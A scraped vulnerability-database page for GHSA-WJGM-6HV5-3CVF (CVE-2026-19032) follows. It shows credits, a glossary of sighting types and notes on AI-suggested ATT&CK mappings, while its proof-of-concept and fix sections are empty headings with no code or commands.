2026-07-29 08:05

Credits

waydeshi pjfanning

Show details on NVD website

JSON

To clipboard

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Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

GHSA-WJGM-6HV5-3CVF

Summary

Description

Vulnerable Code Location

Proof of Concept

Execution Steps

Reproduction Evidence

Impact

Recommended Fix

CVE-2026-19032 (GCVE-0-2026-19032)

Tags

Sightings

Nomenclature

Related by attack behaviour